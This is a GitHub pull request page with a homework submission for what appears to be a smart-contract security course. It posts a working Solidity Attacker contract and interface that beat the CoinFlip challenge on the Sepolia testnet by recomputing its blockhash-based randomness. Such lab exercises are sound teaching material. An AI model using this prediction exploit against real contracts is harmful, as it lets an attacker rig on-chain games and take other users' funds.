Skip to content
This repository has been archived by the owner on Oct 29, 2023. It is now read-only.

Session 3 HW #15

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Session 3 HW #15

wants to merge 1 commit into from

Conversation

thor4
Copy link

@thor4 thor4 commented Apr 30, 2023

instance: 0xA62fE5344FE62AdC1F356447B669E9E6D10abaaF
attacker: 0x7993525B3b8F27a18488cb041996AEeF24EdcE28
network: Sepolia
wallet: 0xCBcE3bE28474c80415903947BC435265E2e5e61a

attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ICoinFlip.sol";

contract Attacker {
    
    uint256 private lastHash;
    uint256 private constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    // Payable fallback function
    receive() external payable {}

    function flip() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        return side;
    }

    function attackCoinFlip(address coinFlipAddress) public returns (uint256) {
        ICoinFlip coinFlip = ICoinFlip(coinFlipAddress);

        bool predictedSide = flip();
        coinFlip.flip(predictedSide);
        
        return coinFlip.consecutiveWins();
    }

}

ICoinFlip.sol Interface

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
    function consecutiveWins() external view returns (uint256);
}

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant